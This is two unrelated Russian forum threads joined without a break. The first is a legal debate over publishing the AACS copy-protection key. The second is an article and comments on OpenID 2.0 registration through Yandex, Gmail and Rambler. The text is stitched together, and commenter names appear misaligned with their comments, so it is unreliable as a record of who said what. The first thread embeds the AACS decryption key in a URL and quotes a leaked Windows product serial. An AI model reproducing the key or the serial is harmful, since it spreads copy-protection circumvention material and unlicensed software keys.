Как уже писали выше, никто это число использовать не запрещает. Скажем, размещать его в топике на ХабраХабре может любой желающий. А вот подписать под ним, что это ключ для обхода защиты — уже незаконно.
VolCh
Вы ошибаетесь.
С позиции AACS LA, по американским законам одно только опубликование этого числа (без всякого описания) — незаконно.
khim
Пока в США нет судебной практики по поводу чисел, говорить о чем-либо сложно.
Error_403_Forbidden
Когда в США появится судебная практика по поводу чисел, говориьт о чем-либо будет уже поздно :(
Tishka17
песня на ютубе на эту тему www.youtube.com/watch?v=L9HaNbsIfp0
khim
Интересно, а если рассмартивать этот ключ как мд5 от некой строки, то эта строка тоже нелегальна?
VolCh
Хороший вопрос.

Но можно даже проще:
Останется ли число нелегальным, если его умножить на два?
А если разделить?
Возвести в квадрат или провести операцию битового сдвига влево?

Стоит только начать задавать эти вопросы и абсурдность становится очевидной.
rozembom
Число значения не имеет, важен умысел.
FRAGIL3
Умысел — это сферический конь в вакууме.
Он дает возможность увеличить или уменьшить меру наказания по усмотрению судьи.
А судья — тоже человек и допускает обычные человеческие ошибки.
Пока мы не научились читать мысли со 100% вероятностью, в идеальной судебной системе не должно быть таких глупостей, как умысел, ИМХО.
Forastero
Вот как раз «идеальная судебная система' — это сферический конь в вакууме. А в реальной умысел играет очень важную роль.
AnatolyB
Обсуждение целесообразности дифференциации мер наказания в зависимости от наличия/отсутствия злого умысла выходит за рамки этого топика.

Я лишь подчеркиваю, что компании AACS LA не нужен был никакой злой умысел, чтобы обвинить человека в нарушении её авторских прав.
shumski
Нужен. Согласло DMCA нельзя разрабатывать системы взлома защиты от копирования. Если у вас видео защищено от копирования, но вы каким-нибудь фильтром deinterlacing'а эту защиту убили — вы невиновны если сможете доказать что этот фильтр действительно преднозначался для deinterlacing'а, а защита убилась случайно.
hmage
Если вы достаточно компетентны для того, чтобы толковать нормы DMCA, я прошу вас подтвердить свои слова ссылками на конкретные пункты этого закона, можно даже с цитатами.

В противном случае, я бы ссылался на презумпцию невиновности.
И вот тогда пускай всякие AACS LA, RIAA и MPAA доказывают мой злой умысел, который при грамотном подходе доказать будет невозможно.
shumski
Если вы достаточно компетентны для того, чтобы толковать нормы DMCA, я прошу вас подтвердить свои слова ссылками на конкретные пункты этого закона, можно даже с цитатами.
Да легко. С этого соответствующий раздел просто начинается:
Contracting Parties shall provide adequate and effective legal remedies against any person knowingly performing any of the following acts knowing, or with respect to civil remedies having reasonable grounds to know, that it will induce, enable, facilitate or conceal an infringement of any right covered by this Treaty or the Berne Convention
Я выделил ключевые слова. Если злого умысла нет и нет оснований предполагать что он был — то всё остальные разделы теряют силу.
LaggyLuke
Спасибо за цитату. Мой английский имеет технический уклон и самому мне было бы тяжело осилить такой юридический текст.

Но вот всякие расплывчатые формулировки со словами типа «reasonable» дают замечательную почву для злоупотреблений со стороны прокуроров и судий (ну и адвокатов тоже, разумеется).

Вот моя статья — имеет злой умысел?
С моей точки зрения — она несёт добро и свет в массы :)
А с точки зрения копирайтеров — она бредовая и злая, потому что агитирует за то, чтобы отобрать у них если не все права, то большую их часть.

У каждого своя правда, но истинна может быть только одна, в этом и проблема.
Так что вопрос злого умысла для меня — это чистая демагогия.
atorero
Вы исходите из того, что истинная правда существует и мы может её найти. Я не знаю ответа на первый вопрос, но знаю на второй: даже если таковая и существует, то мы можем только лишь приближаться к ней, не более того.
LaggyLuke
Вот с этим я полностью согласен.
Человек вообще по своей природе субъективен :)
И всё, что нам остается — это стремиться к недостижимому идеалу.

А вообще, позор мне — я написал «истина» через два «н» :(
atorero
Наивно считать что истина может быть только одна.
LaggyLuke
За число — пока что нет, а вот за гены, по словам khimуже да.
udex
Вы меня неправильно поняли: на гены уже были получены патенты, но до суда дело не дошло. Разумеется речь идёт не о человеческих генах, а о генах особых штаммов бактерий (для производства лекарств) и о генетически модифицированных растениях (внедрить ген в растение — довольно дорого и никому не хочется чтобы человек купил одно семечко и развёл плантацию из него, а фирма-производитель обанкротилась).
rammax
Я вас правильно понял.
Просто у меня есть дурная привычка всё гиперболизировать.
Привычка эта практически параноидальная, зато так жить намного интереснее :)

Так вот, до суда дело может и не дошло, да и гены запатентованы не человеческие, но главное, что механизм этот уже работает, до прецедента остался один шаг, а как только этот прецедент произойдет… в общем, вы сами всё понимаете.
Popik
Так недалеко и от запрета математики (сложения и умножения). Хотя по правде сказать, лучше бы это число получалось каким-нибудь разложением в ряд или чем-нить таким что сложно сдавать на экзамене!!!
LaggyLuke
Интересно, а если речь о, допустим, химических элементах или растениях?
udex
Гены уже патентуются — если вы об этом.
LaggyLuke
Действительно? Не знал…
Пускай это будет примером того, что дыма без огня не бывает и правозащитные огранизации не зря поднимают шумиху.
khim
Мне кажется, вы тут породили маленькую истерику. Нож использовать для резки хлеба можно. Убивать ножом нельзя. Рассказывать другим, как лучше убить ножом, тоже не рекомендуется. Замените нож на ваше число, убийство на взлом. При желании придумайте другие примеры.

Кусок про копирайтинг/патентование чисел вообще бред.
LaggyLuke
www.09f911029d74e35bd84156c5635688c0.ws/

Напоминает историю со взломом защиты DVD — тогда тоже и майки кодом программы распространяли.
khim
Еще со времен истерии с борьбой за свободу слова и публикования чисел лежит у меня такая картинка
LaggyLuke
Не вставилась :(
pic.ipicture.ru/uploads/090131/rGqNaHoUyL.jpg
khim
А я хочу закопирайтить 4 8 15 16 23 42. И 108 заодно. (Lost, если кто-то не понял. Уравнение Валензетти)
LaggyLuke
J3QQ4-H7H2V-2HCH4-M3HK8-6M8VW вспомнился…
khim
Точно, все серийники — это числа из той же серии.
LaggyLuke
В интересном мире живем, скоро выйдя из дома, насвистывая любимую мелодию, можно получить иск за распространение в публичных местах…
Popik
Да здравствует Дискордия!))))
А вапче, ИМХО патентная система тормозит прогресс, но для того чтобы ее упразднить, для начала стоит придумать реально работающую замену, чтобы человек, придумавший умную мысль, не оставался обделенным.
udex
Число — это всего лишь определенный набор символов. Так же символами считаются и буквы. А как на счет копирайта на набор букв? Я придумал этот набор букв, и имею полное право засудить вас из за того, что вы этот же набор букв использовали без моего согласия. — это как звучит, убедительно?

Я рассуждал на эту тему в своем блоге (http://tiaurus.ru/1073), и повторюсь тут:

"… авторского права не существует. Все, что появляется на свет движимое и недвижимое, материальное и нематериально — принадлежит этому миру. Если бы я был верующим, то сказал бы проще: все принадлежит Богу. Если ты что-то изобрел, сочинил, сделал, и выпустил в мир — будь готов к тому, что это кто-то скопирует или использует без твоего ведома. Если не готов к этому — засунь его себе в жо… оставь свое изобретение в мозгах. Все попытки определить это мифическое авторское право как некий незыблемый постулат преследует одну лишь цель — заработать денег. Думаю, что человечество пройдет стадию тёрок по поводу этих минимых прав, и эти дискусси канут в лету, о них никто не будет и вспоминать (как и выяснения, чья писька длиннее, чья пирамида выше, чья религия круче, чьё государство сильнее). Повторюсь, авторского права не существует, это миф, насаждаемый социальным окружением, которое хочет на этом заработать."
LaggyLuke
где записываться в движение за свободу?
khim
Какой-то умный человек, не помню кто, сказал как-то что-то вроде: «если мы поменяемся яблоками, то у нас так и будет по одному яблоку. Но если мы поменяемся идеями, то у нас уже будет по две идеи». Так как в самой сути информации есть свойство клонирования, а у материи — нет, то попытки выдать одно за другое вообще противоречат здравому смыслу — это то же самое, что пытаться заставить воду не течь и не растворять.
Хотя, конечно, существуют всякие теории квантового компьютинга, в которых клонирование информации невозможно, так как приводит к ее уничтожению, но это из области научной фантастики.
LaggyLuke
тут вы кстати забллуждаетесь. Есть процессы в которых возможно только одноразовое чтение информации. Ибо сам процесс чтения меняет состояния. так что это не фантастика
vit1251
Пока я не видел в продаже квантовых компьютеров с достаточным временем декогерентизации для решения неразрешимых задач и карманных телепортаторов, основанных на парадоксе Эйнштейна-Подольского-Розена, можно я буду и дальше всё, связанное с квантовым компьютингом, называть полушутливо-полублагоговейно научной фантастикой? :)
cosmocarrot
4 8 15 16 23 42…

по теме: бред. Смайлик вон и то запретили регистрировать

Люди не очень любят регистрироваться. Это же нужно (в общем случае) придумать логин и пароль, зайти в свою почту, дождаться письма, открыть его, перейти по ссылке активации аккаунта, а потом еще этот логин с паролем не забыть. Но ведь уже давно есть способ, с помощью которого все эти шаги не нужны. Более того, не нужно вообще ничего вводить с клавиатуры, 2 щелчка мышью и все, человек зарегистрирован.



Какой самый распространенный элемент в todo стартапов? Думаю, что-то вроде этого: «В планах — сделать вход по OpenID». Почему этого не делают? Потому что как-бы незачем. Никто про OpenID не знает, никому он не нужен. У меня сложилось впечатление, что вход или регистрацию по OpenID обычно делают для того, чтоб показать технологическую продвинутость проекта. А ведь OpenID может быть крайне полезной штукой, упрощающей людям жизнь и увеличивающей число пользователей ресурса. Дальше — мое видение того, как правильно применять эту технологию.

Факты


Для начала — факты:
  1. Пользователи почты yandex.ru, rambler.ru и gmail.com в сумме покрывают очень большой процент пользователей рунета. Из почтовых сервисов тут не хватает только mail.ru.
  2. Yandex.ru, rambler.ru и gmail.com являются провайдерами OpenID 2.0.
  3. Для аутентификации через OpenID 2.0 не нужно вообще ничего вводить с клавиатуры, если сайту известен провайдер OpenID и пользователь авторизован у этого провайдера. В OpenID 2.0 адрес сервера един для всех пользователей (в url'е нигде не фигурирует имя пользователя).
  4. Пользователи не знают (и не хотят знать), что такое OpenID. Ну может 1% где-то слышал, что это есть такая непонятная штука для гиков.

Что из этого следует


В России (и в СНГ) вполне можно учитывать только 3х провайдеров OpenID: вышеупомянутых яндекс, гмейл и рамблер. Если предоставить пользователям выбор из этих 3х провайдеров, то с большой долей вероятности где-нибудь у человека будет аккаунт. Пользователь выбирает своего провайдера из этих 3х (1 щелчок мышью) — у сайта теперь есть информация о том, какой url использовать для аутентификации по OpenID. После этого можно провести обычную процедуру аутентификации по OpenID. Если пользователь авторизован у провайдера, то он подтверждает аутентификацию (еще 1 щелчок мышью). Если нет, то авторизуется (это у всех по-разному, в лучшем случае — 1 щелчок мышью, логин и пароль подставил браузер), потом подтверждает аутентификацию.

Что мы имеем: первичную аутентификацию в 2 щелчка мышью (если пользователь авторизован в своей почте). При этом сайт может пользователя или зарегистрировать, или авторизовать. Дополнительные данные для регистрации (если необходимо) сайт может получить через SREG, hCard, ax, что-то можно выудить из логина openid (для всего этого со стороны пользователя не нужно выполнять никаких действий). Если что-то нужно заполнить еще, то тогда уже спрашивать у пользователя дальше. Заметьте, спрашивать нужно будет потенциально меньше, чем при обычной регистрации.

Повторные логины будут происходить за 1 щелчок мыши (если пользователь нажал «запомнить связь» при аутентификации), как и в случае с автозаполнением пары логин-пароль браузером. Ну и, понятно, куки для запоминания авторизации пользователя никто не отменял.

Интерфейс


Теперь насчет интерфейса.

Мне кажется, учить пользователей, что такое OpenID — дохлый номер. И стоит исходить из того, что даже просто употребление незнакомого слова «OpenID» может отпугнуть обычного человека. У среднего пользователя есть почта и аккаунт во вконтакте или на одноклассниках, все. В том, что моя сестра не хочет въезжать в какие-то непонятные штуки со странными названиями (такие, как OpenID), нет ничего плохого, это абсолютно нормально. Большинство людей, думаю, вообще никогда не узнает, что такое OpenID. Из этой предпосылки предлагаю и строить пользовательский интерфейс.

Вот мой вариант такого интерфейса:


Собственно говоря, это и есть форма регистрации/авторизации на сайте pip.ec. Пользователю не нужно проверять почту, активировать аккаунт, придумывать логин и пароль. Более того, в удачном случае не нужно вообще ничего вводить с клавиатуры, 2 щелчка мышью и все, человек зарегистрирован.

Но все это теория, которая может вызвать разные вопросы (не испугаются ли люди перехода на другой сайт, будут ли нажимать «авторизовать» и т.д.), на которые ответить может только практика. Так что же на практике?

Практика


Кроме регистрации по OpenID на сайте pip.ec сделана и возможность обычной регистрации. Статистика такая: с помощью OpenID зарегистрировано больше людей, чем обычным способом. На сайте нет ни единого упоминания слова OpenID. Людей, регистрирующихся обычным способом и имеющих почту на гмейле, яндексе или рамблере — вообще единицы. Из тех, кто регистрируется обычным способом, половина — пользователи mail.ru.

Выводы


Вывод из всего этого: OpenID 2.0 при правильном подходе упрощает жизнь пользователям и увеличивает число регистраций. В нем нет ничего гиковского и маргинального в том смысле, что пользователям совершенно не обязательно знать, что у вас регистрация-авторизация происходит через OpenID.

Реализация, технические подробности


Насчет реализации. Во-первых, небольшная справка, адреса провайдеров openid (уберите знаки подчеркивания):

Google: _https://www.google.com/accounts/o8/id
Yandex: _http://openid.yandex.ru/
Rambler: _http://rambler.ru/

Во, вторых, насчет библиотек для работы с openid. Уверен, что для разных языков есть множество библиотек, поддерживающих OpenID 2.0, если в комментариях их напишут — сюда добавлю. У меня же все написано на джанго, код немного специфичный и в отдельное приложения я его не выделял. Для джанго предложил бы попробовать новый проект, который написал Александр Коваль (сам не пробовал), или вот это хорошее приложение: django-authopenid, или вот это: scipio.

В-третьих, всем интересующимся очень рекомендую блог и форум про OpenID у Ивана Сагалаева (который, к слову, тоже грозится зарелизить в скором времени зарелизил правильный openid-консумер для python/django). Если что-то про OpenID не ясно, почитайте оттуда статью: OpenID: мифы и суеверия, на нее уже была как-то ссылка на хабре.

Все, что я тут понаписал — далеко не новость, просто решил все немного систематизировать и донести до большей аудитории. Дело в том, что да, это все вроде не новость, а проектов, использующих описанный подход, не видно у нас.

И еще, обращение к команде mail.ru. Вдруг кто-то из них статью прочитает. Пожалуйста, станьте провайдером OpenID 2.0. Рано или поздно разработчики просекут фишку и станут более массово делать сайты с тремя кнопками «яндекс, гмейл, рамблер». Всем: и mail.ru, и пользователям, и разработчикам будет лучше, если вместо 3х кнопок будет 4: «яндекс, гмейл, мейл, рамблер».

Если вам тоже кажется, что было бы здорово, чтоб mail.ru стал провайдером OpenID 2.0, можно еще написать побольше писем в техническую дирекцию mail.ru, адрес есть тут: corp.mail.ru/contacts.html
nobr
Всё это, конечно, здорово. Но если у меня другой аккаунт ОпенИД? Не нужно отсекать таких пользователей.

ПС: На сайте в примере не смог авторизоваться с помощью яндекса. Магия? :)
kmike
Банальный пример: OpenId от LiveJournal.
Неужели ЖЖ пользуются гики? У этого ресурса огромная аудитория русскоязычного народонаселения, которое притом в большинстве остаётся обычными людьми без какой-либо айтишной направленности.
Skiminok
а) Эта форма совсем не обязательно отсекает пользователей ЖЖ, она отсекает только тех пользователей ЖЖ, у который нет почты на яндексе, гмейли или рамблере
б) В русском ЖЖ людей раз в 20 меньше, чем на том же mail.ru, насколько мне известно

Насчет гиков — согласен, не прав.
kmike
у меня есть и ЖЖ, и яндекс, и гмейл.
Предпочитаю OpenID от ЖЖ, т.к. он имеет ярко выраженную социальную направленность.

Так что я бы на вашем месте добавил бы все же еще 1 кнопку :)
nuzgul
её невозможно добавить, потому что livejournal не поддерживает необходимую для такой кнопки фичу openid2 — directed identity
arty
на некоторых новостных сайтах встречался с тем что сайт цеплял мой ЖЖ логин, может быть знаете как это реализовано?
WarGot
это коммерсант спартнёрился с жж и они вместе нарушают вашу приватность, по внутренним api сообщая коммерсанту, каким юзером вы сейчас залогинены в жж
arty
Наверное, стоит копать в сторону checkid_immediate.
kmike
Спасибо за инфу, буду проводить раскопки -)
WarGot
И пятую кнопку, с кастомным опенайди. Если вы используете эту технологию, то уважайте и тех, кто умеет ей пользоваться и хочет сам выбирать свой идентификатор. Кроме того, нужно использовать логотип опенайди, который специально был придуман для узнаваемости. Например, если бы я вошел на ваш сайт не читая эту статью, то так бы сразу фишку и не просёк бы.
Короче, нужен разворачивающийся список провайдеров + поле для своего.
DnV
> Не нужно отсекать таких пользователей.

Кстати, стоит иметь в виду, что этот способ их совсем не обязательно отсекает. Он отсекает тех, у кого есть другой аккаунт OpenID и нет почты ни в гмейле, ни в яндексе, ни в рамблере.

Есть же такой мем, что каждый уважающий себя гик имеет почту на гмейле)
kmike
Это точно, но не всякий гик помнит пароль от неё :) Я, например, давно пользуюсь собственным почтовым сервером. И ОпенИД у меня висит на собственном домене. Хотел зайти как обычно, пришлось вспоминать про почту на яндексе :)

Хорошо бы сделать выбор провайдера в виде <select><option>…</option></select> с текстовым инпутом.
nobr
Выпадающий список — больше кликов мышкой)
Но тоже вариант вполне нормальный, гораздо лучше того, что сейчас на большинстве сайтов.
kmike
Можно просто добавить в существующий список (который на картинке), четвертый пункт — «другое», где уже осуществлять выбор между всякими жж, myopenid.com или собственным сервером
fiskus_boulder
каждый уважающий себя гик имеет

Да может же просто не захотеть, у нас демократия или где? :)
FloppyFormator
Предложенный способ — исключительно тоталитарный)

OpenID — это же просто технология.

Аналогию, как мне кажется, можно такую провести: есть сервис, с которого можно скачивать файлы.
Он позволяет это делать по HTTP и Gopher. У меня есть веб-браузер и FTP-клиент, я очень хочу скачать файл FTP-клиентом и не хочу скачивать через браузер. Технически скачать файл могу без особых усилий (браузером пользуюсь часто), но не хочу.

Возможно, к реальному процентному соотношению пользователей будет ближе ситуация, когда сервер поддерживает HTTP и FTP, а человек хочет скачать через Gopher.

Вопрос еще в том, какие преимущества Вы получаете, авторизуясь через свой OpenID? Его же все равно никуда вводить не нужно и нигде он не светится. Пользователи Gopher, например, имеют какие-то преимущества перед пользователями FTP, но, даже несмотря на это, этот протокол никто не поддерживает, т.к. их (пользователей) мало.
kmike
Тоже не смог:) Видимо не магия, а закономерность.
DimkaPhantom
Пока с nobr выяснили (спасибо ему), что это, скорее всего, небольшая ошибка в реализации openid-сервера у яндекса, которая проявляется, если логин пользователя — с большой буквы.
kmike
Вот черт!
Gilberg
а что, еще не исправили ее?
kmike
довольно хороший подход
magicstream
Интересный вариант. Но надо добавить вход для обычных опенайдишников.
exvel
Про livejournal.com как провайдера OpenID забыли. Не совсем СНГ, но достаточно популярный.
В остальном все правильно написано. Мне как владельцу OpenID гораздо проще было бы регистрироваться (авторизироваться) с его помощью, но мешает одно очень мало служб его поддерживает. Надеюсь ваша статья подтолкнет владельцев сайтов.
KrasivayaSvo
Спасибо за поддержку.

А насчет LJ. Дело в том, что в русском LJ, по моим данным, раз в 20 меньше людей, чем на mail.ru том же. Почта есть, можно сказать, у всех. Блоги же ведут сравнительно (сравнительно!) немногие.
kmike
Проблема исключительно в пользовательском интерфейсе.

Представьте форму, где будут кнопки для всех этих служб. Если добавили ЖЖ, то почему бы и не добавить микрософт? Если добавили микрософт, почему бы не добавить myopenid и skype? И т.д. В итоге получаем форму с кучей кнопок, среди которых человек должен выискивать своего провайдера. Хотя и первые 3 кнопки с очень большой вероятностью его бы удовлетворили. Если у меня есть скайп, то это еще не значит, что у меня нет почты в гмейле.

Идея-то в том, чтобы сделать проще. Если кто-то нарисует форму со всей этой кучей кнопок, которая останется простой для восприятия — здорово, у меня не вышло просто.
kmike
Под тремя кнопками сделать инпут куда можно самому вписать, что хочешь)
Reey
Около этого инпута придется писать всякие непонятные слова, да и сам инпут будет непонятным многим) Всеми силами старался избежать незнакомых и непонятных штук в интерфейсе, может и зря, как показывает большинство комментариев.

Хотя для комментаторов openid не был в новинку. Вы бы знали, с каким сопротивлением на сайте вообще эта форма появилась) Первые варианты, насколько я помню, предполагали какую-то возможность ввода строки с openid, и все, кто про openid не знал (и даже те, кто слышал) говорили — «что за хрень, непонятно ничего, зачем это, это отпугнет людей, это меня отпугнуло, не хочу здесь регистрироваться, что-то тут не чисто».
kmike
А нельзя кнопочку\ссылочку «Еще?» под кнопками поставить, которая бы распахивала хоть какой большой список других кнопочек, пояснялок и инпутов? Как бы сначала элегантно лаконично, а по нажатию много всего.
medin
Можно, простая и хорошая идея.
Особого смысла в большом количестве кнопочек не вижу, обошелся бы инпутом.
kmike
А еще можно «эти 3» формировать как топ-3 наиболее популярных регистраций :)
roodz
хорошо, тогда почему бы просто не добавить кнопку OpenID? я например аккаунт на chi.mp использую. Вообщем идея хорошая, но нуждается в изменениях
andoriyu
А зачем отображать именно все? Можно просто сделать эти 3 и ниже сделать какую-нить кнопочку с мелким шрифтом, которая и вызывает окно с остальными провайдерами openId
debacle
К слову, в ЖЖ, как я понял, требуется указывать в качестве url'a адрес своего блога, т.е. этот урл — разный для разных пользователей, и кнопку, аналогичную приведенным, сделать не выйдет, нужно будет спрашивать имя блога.

Но, возможно, я просто плохо искал, и такой единый url есть. Так с рамблером было, у них тоже про это нигде как-то не написано прямо, на адрес rambler.ru вышел методом тыка, т.к. сильно хотелось)

Если кто-то обладает более полной информацией — пишите, добавлю в статью.
kmike
всеми конечностями за такую идею на как можно большем количестве сайтов — честно, даже не знал, что google и яндекс являются OpenID-провайдерами.

для идеала достаточно добавить обычный OpenID вход + чтобы mail.ru поддержали OpenID.

P.S. правда надпись «Выбирайте то место, где у вас есть почта.» как-то не звучит. может лучше вместо «то место» — «сайт»? да? и если почта, то может Gmail, а не Google?
Kaener
Согласен, про gmail. Единственное что, не стоит Забывать и про «полную» регистрацию, вдруг для меня ваш сайт — единственное место в интернете, а почта только корпоративная.
Dr_Logic
Насчет Gmail и Google — наверное, все-таки неправ был. Просто вот в чем дело, тут такая двойственность имеется. У гугла кроме почты есть много других сервисов, и если зарегистрироваться в одном из них, то вход через OpenID будет действовать. Там (технически) именно что «аккаунт гугл», а не «аккаунт гмейл». А с другой стороны, написал-то я «почта»)
kmike
gravy
Да, отсекать пользователей с другими аккаунтами OpenID — это плохая идея. Кроме того из крупных провайдеров есть ещё ЖЖ.

Далее, автоматическая регистрация в один клик — это круто, но многие люди имеют несколько аккаунтов. Особенно для почты. Я, например, понятия не имею, под какими аккаунтами я в данный момент залогинен на яндексе и гугле. И далеко не каждый аккаунт я бы хотел светить перед конкретным сайтом. Возможность ручного ввода OpenID url решает все эти проблемы.

Кстати, это что же получается с этим OpenID 2.0 — любой сайт, в тот момент, когда я на него захожу, может узнать мои текущие email-ы в yandex/google? Причём может это проделать в скрытом iframe, и я даже об этом не узнаю?
powerman
Там не 1 клик, а 2, т.к. подтверждение — обязательно (если до этого не подтвердили), в скрытом iframe ничего не сделаешь. И узнать Ваш текущий email — невозможно.

Пусть у Вас 2 ящика: vasia@ya.ru и petya@ya.ru.
Вы зарегистрировались, используя аккаунт vasia@ya.ru и нажали «да, дальше меня не спрашивать». Потом вышли из vasia и зашли в petya. При попытке зайти на сайт Вас перекинет на яндекс, где будет уже как-бы новая регистрация под аккаунтом petya, т.к. про то, что vasia как-то связан с petya, сайт ничего не знает. Чтобы зайти как vasia Вам нужно будет выйти из petya и зайти в vasia.
kmike
Нужно ручное подтверждение (хотя бы раз, кажется). Т.е. нужно как минимум найти уязвимость в вашем браузере или реализации openid у его провайдера
nsinreal
А яваскриптом разве подтвердить нельзя, если яваскрипт выполняется в родительском для iframe'а окне? :)
PingWin
iframe скорее всего получит не подтверждение, а отправку на авторизацию.
DnV
А зачем вы у ссылок подчеркивание ставите?
saahov
Без него они преобразовывались в кликабельные ссылки и терялась информация о протоколе (http или https). Переходить по ним смысла мало, т.к. там ничего интересного. Разработчику нужно их в код вставлять, а не ходить по ним самому. Только поэтому.
kmike
Понятно, спасибо.
saahov
Я сначала так и подумал, что именно по этой причине — привычка со всяких варезных и «хакерских» сайтов.
Colobock
понравилось, сейчас и себе прикручу :)
saahov
А что делать, если у меня почта на именном домене, по фамилии, например? Если в России это достаточно нечастое явление, то в Европе очень даже. Не зря же зону .name ввели?
SwampRunner
А еще есть hotmail, qip, РОЛ почта. И корпоративные ящики.
Только аудитория у последних трех во много раз меньше, чем у gmail или даже mail.ru
Для гиковского ресурса предпочтительнее иметь поле для ввода OpenID, чем OpenID от mail.ru :)
Rembish
зарегистрироваться на одном из представленных почтовых сервисах видимо
Lucky_Student
Ответа может быть 2.

Ответ 1. Регистрируйте почту на гмейле. Если у Вас нет почты там, где сайту нужно, то все равно в каком-то виде придется проходить обычную регистрацию.

Ответ 2. Оставлять на сайте возможность обычной регистрации с email'ом и паролем.

А сейчас я, возможно, глупость напишу, просто мысль в голову пришла, и обдумать ее не успел. Интересен вопрос, нельзя ли как-то подцепить гугловский openid к почте на своем домене. Почту ведь можно гугловскую к своему домену подцепить.
magicstream
Насколько я помню, можно.
kmike
В конце концов, можно завести отдельный OpenID аккаунт, или даже поставить свой личный OpenID сервер к себе на сайт, и подписываться везде своим доменом.
Например, я так и делаю, адрес моей домашней страницы является моим OpenID адресом.
ruskar
openid на своем домене — 1 строка html кода
svartalf
Я говорю как раз о OID-сервере, а не об консумере, как было подмечено ниже. Одну строку кода несложно написать. Svartalf, насколько я могу судить, говорил как раз о сервере OpenID. О чём я его хотел и поправить.

К слову сказать, я видел код одного из опенсорсовых OpenID-серверов, так вот — держать в базе около 10 таблиц на поддержку OpenID — это порой расточительно, да и не нужно.
Rembish
Я тоже говорю о сервере. Не обязательно что-то поднимать у себя, достаточно воспользоваться делегированием.
kmike
вы не могли бы подсказать, в каком направлении рыть?
Нигде не встречал, но интересно. Сразу оговорюсь, что в этом совсем чайник, склепал на голом html4 одну страничку-визитку, прикрутил google apps и больше ничего не использую (так что, если можно, поподробней:).
Rembish
Опс, 2 строки) вставить в <head> что-то в духе

<link rel="openid.server" href="http://openid.yandex.ru/server.xml" />
<link rel="openid.delegate" href="http://openid.yandex.ru/users/ваш_ник" />

в случае яндекса, для ЖЖ примерно так же.

Идея в том, чтоб иметь openid на своем домене, но делегировать всю работу стороннему сервису. Так и называется, openid delegation.

Преимущества — Вы можете сами управлять и менять нижестоящий OpenID-сервер, сохраняя свой адрес OpenID. Ну и не нужно ничего настраивать.

… правда как это сделать с аккаунтом от гугла — немного непонятно. Но можно ведь использовать и не его)
kmike
Не совсем понял, то есть в моем случае, если я вставлю приведенный вами код в главстраницу своего сайта, то смогу входить не под vasya_pupkin.livejournal.com, а под vasya_pupkin.ru?
nuzgul
Вы будете вводить в поле ОпенИД vasya_pupkin.ru, а войдёте как vasya_pupkin.livejournal.com. А если поднимете на своем домене опенИД сервер, то сможете заходить как vasya_pupkin.ru
kmike
спасибо. :)
nuzgul
не совсем верно. человек подет именно как vasya_pupkin.ru
(а провайдером опен айди будет жж, так же сменив жж на яндекс ничего не измениться)
nobr
Очень удобно, поверьте.
nuzgul
к слову, думаете, почему openid-серверов гораздо больше, чем openid-консумеров? Сервер писать проще)
medin
Посмотрите на phpMyID или Vooid, это маленькие OpenID сервера, расчитанные на поддержку всего одного пользователя.
Идеально для домашних страниц.

Ерунду какую-то сказали, честное слово.
nobr
Согласен с тем, что регистрация как таковая (с заполнением дюжины полей) должна кануть в Лету как можно скорее. OpenID уже есть и дело за тем, чтобы подкрутить front-end и сделать все прозрачным для пользователя.
kmike
Ага, и тогда взламывать пользователей можно более централизовано;)
svartalf
Жаль, что mail.ru не поддерживает OpenID, львиная доля пользователей попросту останутся за бортом. OpenID хорошо внедрять совместо с повседневной авторизацией/регистрацией.

ps (насчет mail.ru) не все имеют по десять почт и mail.ru вполне устраивает.
pss у меня, кроме раблера, везде есть почта.
temujin
На самом деле в той форме, которую я привел, есть небольшой скрытый дефект, на который стоит обратить внимание — что будет, если почта есть везде? Будет 3 разных аккаунта?) Поэтому полезно после регистрации делать возможность объединения аккаунтов, чтоб один пользователь мог иметь несколько openid.

P.S. я такую возможность не делал.
Lans
Отличная идея. Почему-то об этом не задумывался, это было бы очень удобно.
gibson
по моему вопрос лишен смысла, т.к. даже при обычной регистрации можно создать 3 разных аккаунта с 3мя разными ящиками, но это нелогично правда ведь?
kmike
Попробую объяснить, что имелось в виду.

Дело в том, что при входе можно банально забыть, на какую кнопку ты нажимал, гмейл или яндекс, например.

В случае с обычной регистрацией это проблемы нет, т.к. обычно в форму логина email подставляет браузер, который помнит, какой email использовался для входа на конкретном сайте.
nobr
проблему понял. Хотя в таком случае можно сохранить куку и каким-нибудь способом подсвечивать кнопку. Я бы не стал использовать метаконтакт т.к. он привнесет еще больше путаницы пользователю который и так не знает что такое openID
OmeZ
Если есть возможность поставить куку, то на кнопку вообще нажимать не надо будет, можно по этой куке авторизовать.

То, что метаконтакт может привнести путаницы — согласен. Это, опять-таки, проблема построения пользовательского интерфейса. С точки зрения сервера все равно в каком-то виде тут нужен метаконтакт.

> привнесет еще больше путаницы пользователю который и так не знает что такое openID
А вот что такое OpenID пользователю знать совсем не обязательно)
kmike
Я бы текст снизу от кнопок сделал кликабельным и дальше добавил либо длинный список либо стандартную форму для ручного ввода данных OpenID.

В целом, хорошая идея!
OmeZ
все гениальное — просто
kmike
Я решил пойти по пути «переучивания» пользователей. Удаётся это или нет, судить не могу. Но статистика показывает, что число пользователей, зарегистрированных по openid, гораздо больше тех, кто регистрировался через пару логин/пароль.
Собственно такой подход я и использую на throwcatch.me.
Основной является форма авторизации/регистрации по OpenID.



Причём доступны всевозможные провайдеры.

Если же по каким-то «религиозным» причинам пользователь не хочет регистрироваться по OpenID, то он может использовать стандартную регистрацию/авторизацию.

Wott
Ещё интересная заметка "Авторизация по OpenID — просто и удобно" от пользователя svartalf
und
Может быть можно ещё усовершенствовать и сделать сокращённую версию.
Но отдельная страница в большинстве случаев и так есть. + На ней размещено небольшое пояснение того, что же такое OpenID/
zaartix
Кстати, насчет сократить форму.
Была у меня одна немного дикая идейка. Сделать форму регистрации-авторизации ровно из одного инпута.

Человек вводит туда свое мыло.
Если это мыло яндекса, рамблера или гугла, авторизуем-регистрируем его по OpenID.
Если нет — регистрируем обычным способом. Если он уже зарегистрирован, спрашиваем пароль.

Из-за «если зарегистрирован, спрашиваем пароль» отказался от этой идеи, хотя все равно считаю, что она крутая)
S2nek
Да, идея отличная! Нужно немного развить…
S2nek
Еще к ней примочки: если введен адрес openid, то регистрируем или авторизуем через openid.
Насчет авторизации: зарегистрирован ли емейл, узнаем аяксом, если да, то сразу показываем поле для ввода пароля.
nobr
Тут еще повышенные требования к поясняющему тексту, без него ничерта не понятно, над ним бы подумать.
И повышенные требования к отзывчивости серверов, для шустрого аякса.
S2nek
аналогичная идея возникла и у меня, только если вручную вводится адрес мне кажется не надо путать пользователя и просто регистрировать его и на ящик отослать письмо со сгенерированым паролем и ссылкой верификации.
kmike
